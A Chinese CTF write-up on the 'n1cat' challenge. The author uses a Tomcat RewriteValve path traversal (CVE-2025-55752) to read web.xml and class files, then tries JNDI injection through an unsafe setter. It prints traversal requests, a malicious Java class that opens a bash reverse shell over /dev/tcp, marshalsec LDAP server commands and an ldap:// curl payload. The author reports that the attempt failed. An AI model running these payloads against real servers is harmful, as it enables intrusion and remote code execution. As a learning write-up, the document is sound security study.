n1cat
虽然没做出来,但是也学到了低版本JNDI注入,这里整理一下思路
首先打开示例看到非常经典的Java后端页面,发现自带参数name和word
传个?name={{7*7}}&word=welcome,发现有报错,得知服务器用的是Apache Tomcat/9.0.108
找找这个版本的Tomcat有没有CVE
结合附件
RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]
发现符合CVE-2025-55752的特征
漏洞原理是:
- 变更
前的关键代码 - 代码位置:
java/org/apache/catalina/valves/rewrite/RewriteValve.java
#500-597
urlStringRewriteEncoded = RequestUtil.normalize(urlStringRewriteEncoded);
chunk.append(URLDecoder.decode(urlStringRewriteEncoded, uriCharset.name()));
- 变更
后的关键代码 - 代码位置:
java/org/apache/catalina/valves/rewrite/RewriteValve.java
500-597
String urlStringRewriteDecoded = URLDecoder.decode(urlStringRewriteEncoded, uriCharset.name());
urlStringRewriteDecoded = RequestUtil.normalize(urlStringRewriteDecoded);
- 在重写 URL 后,原逻辑先调用
normalize()再进行decode(),导致无法识别编码后的路径遍历字符(如%2e%2e表示..)。
利用条件:
- 必须配置了并启用了
RewriteValve重写规则(server.xml) - 启用
PUT和WebDAV功能后才可以实现远程代码执行
所以/download?path=%2fWEB-INF%2fweb.xml尝试一下,发现能读到web.xml
welcomeServlet ctf.n1cat.welcomeServlet welcomeServlet /
curl一下看看有没有开放PUT
┌──(kali㉿kali)-[~]
└─$ curl -X OPTIONS "http://xx.xxx.xxx.xxx:xxxxx" -v
* Trying xx.xxx.xxx.xxx:xxxxx...
* Connected to xx.xxx.xxx.xxx (xx.xxx.xxx.xxx) port xxxxx
* using HTTP/1.x
> OPTIONS / HTTP/1.1
> Host: xx.xxx.xxx.xxx:xxxxx
> User-Agent: curl/8.15.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200
< Allow: GET, HEAD, OPTIONS
< Content-Length: 0
< Date: Sun, 02 Nov 2025 03:21:52 GMT
<
* Connection
可惜没有启用PUT,没法RCE,只能读文件了
结合读到的web.xml,得到了服务器的Servlet 配置:
配置中定义了一个名为
welcomeServlet的 Servlet,对应的类是ctf.n1cat.welcomeServlet,并且映射到url-pattern: /(即根路径)
又
在 Java Web 应用中,Servlet 类的字节码文件(
.class)通常存放在WEB-INF/classes/目录下,路径与包名对应(包名中的.对应目录分隔符/)。ctf.n1cat.welcomeServlet
的完整路径为:
WEB-INF/classes/ctf/n1cat/welcomeServlet.class
所以尝试读一下/download?path=%2FWEB-INF%2Fclasses%2Fctf%2Fn1cat%2FwelcomeServlet.class
得到一个download文件,扔进JADX里反编译一下:
package ctf.n1cat;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet(name = "welcomeServlet", value = {"/"})
/* loaded from: download */
public class welcomeServlet extends HttpServlet {
private static final String DEFAULT_NAME = "guest";
private static final String DEFAULT_WORD = "welcome";
private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String requestUri = request.getRequestURI();
String contextPath = request.getContextPath();
String pathWithinApp = requestUri.substring(contextPath.length());
if (shouldDelegate(pathWithinApp)) {
delegateToDefaultResource(pathWithinApp, request, response);
return;
}
String jsonPayload = request.getParameter("json");
String nameParam = request.getParameter("name");
String wordParam = request.getParameter("word");
String urlParam = request.getParameter("url");
if (isBlank(jsonPayload) && !isBlank(nameParam) && !isBlank(wordParam)) {
ObjectNode composed = OBJECT_MAPPER.createObjectNode();
composed.put("name", nameParam);
composed.put("word", wordParam);
if (!isBlank(urlParam)) {
composed.put("url", urlParam);
}
jsonPayload = composed.toString();
}
if (isBlank(jsonPayload)) {
response.sendRedirect(defaultRedirectTarget(request));
return;
}
try {
User user = (User) OBJECT_MAPPER.readValue(jsonPayload, User.class);
String name = user.getName();
String word = user.getWord();
String url = user.getUrl();
if (isBlank(name) || isBlank(word)) {
response.sendRedirect(defaultRedirectTarget(request));
} else {
renderResponse(response, name, word, url);
}
} catch (RuntimeException e) {
response.sendError(400, "Invalid user data");
} catch (JsonProcessingException e2) {
response.sendError(400, "Invalid JSON payload");
}
}
private boolean shouldDelegate(String pathWithinApp) {
return (pathWithinApp == null || pathWithinApp.isEmpty() || "/".equals(pathWithinApp)) ? false : true;
}
private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
RequestDispatcher defaultDispatcher = getServletContext().getNamedDispatcher("default");
if (defaultDispatcher != null) {
defaultDispatcher.forward(request, response);
} else {
request.getRequestDispatcher(pathWithinApp).forward(request, response);
}
}
private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try {
out.println("<html><body>");
out.println("<h1>" + escapeHtml(name) + "</h1>");
out.println("<p>" + escapeHtml(word) + "</p>");
if (!isBlank(url)) {
out.println("<p>URL: " + escapeHtml(url) + "</p>");
}
out.println("</body></html>");
if (out != null) {
out.close();
}
} catch (Throwable th) {
if (out != null) {
try {
out.close();
} catch (Throwable th2) {
th.addSuppressed(th2);
}
}
throw th;
}
}
private String escapeHtml(String input) {
if (input == null) {
return "";
}
return input.replace("&", "&").replace("<", "<").replace(">", ">").replace("\"", """).replace("'", "'");
}
private String defaultRedirectTarget(HttpServletRequest request) {
return request.getContextPath() + "/?name=" + urlEncode(DEFAULT_NAME) + "&word=" + urlEncode(DEFAULT_WORD);
}
private boolean isBlank(String value) {
return value == null || value.trim().isEmpty();
}
private String urlEncode(String value) {
return URLEncoder.encode(value, StandardCharsets.UTF_8);
}
}
可以看到有个User类,看看能不能读到这个User类,用同样的方法读/download?path=WEB-INF%2Fclasses%2Fctf%2Fn1cat%2FUser.class得到:
package ctf.n1cat;
import javax.naming.InitialContext;
import javax.naming.NamingException;
/* loaded from: download(1) */
public class User {
private String name;
private String word;
private String url;
public String getName() {
return this.name;
}
public String getWord() {
return this.word;
}
public void setWord(String password) {
this.word = password;
}
public void setName(String name) throws NamingException {
this.name = name;
}
public String getUrl() {
return this.url;
}
public void setUrl(String url) {
try {
new InitialContext().lookup(url);
} catch (NamingException e) {
throw new RuntimeException((Throwable) e);
}
}
}
可以看到这个User类中的setUrl存在JNDI漏洞
利用低版本的JNDI漏洞需要做两个准备工作
首先要搭建一个RMI/LDAP 服务
然后在本机上启一个HTTP服务
想要反弹shell还要额外准备
利用思路是先编写一个恶意的Java类
import java.io.IOException;
public class Exploit {
public Exploit() throws IOException {
String cmd = "bash -i >& /dev/tcp/IP/port 0>&1";
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
}
编译成class之后使用LDAP服务引导服务器访问HTTP服务下载我们准备好的class文件并执行,从而达到RCE的目的
这里使用marshalsec来搭建LDAP服务
这个工具需要自己打包成jar包,所以本地需要有Java环境
python -m http.server 8080 //先启一个HTTP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "IP:Port" 1389 //LDAP服务
最后使用curl向服务器传参来引导服务器访问LDAP服务,最终RCE
curl "http://xx.xxx.xxx.xxx:xxxxx/?json=%7B%22name%22:%22test%22,%22word%22:%22test%22,%22url%22:%22ldap://xx.xxx.xxx.xxxxxx.xx:xxxxx/ClassName%22%7D"
本来如果是低版本JDK到这里就结束了,但后续怎样尝试都无回显,所以猜测是高版本,由于高版本JDK默认不信任外部代码,所以这道题不能这么简单就做出来,还需要想别的办法。
参考:
Apache Tomcat RewriteValve目录遍历漏洞 | CVE-2025-55752 复现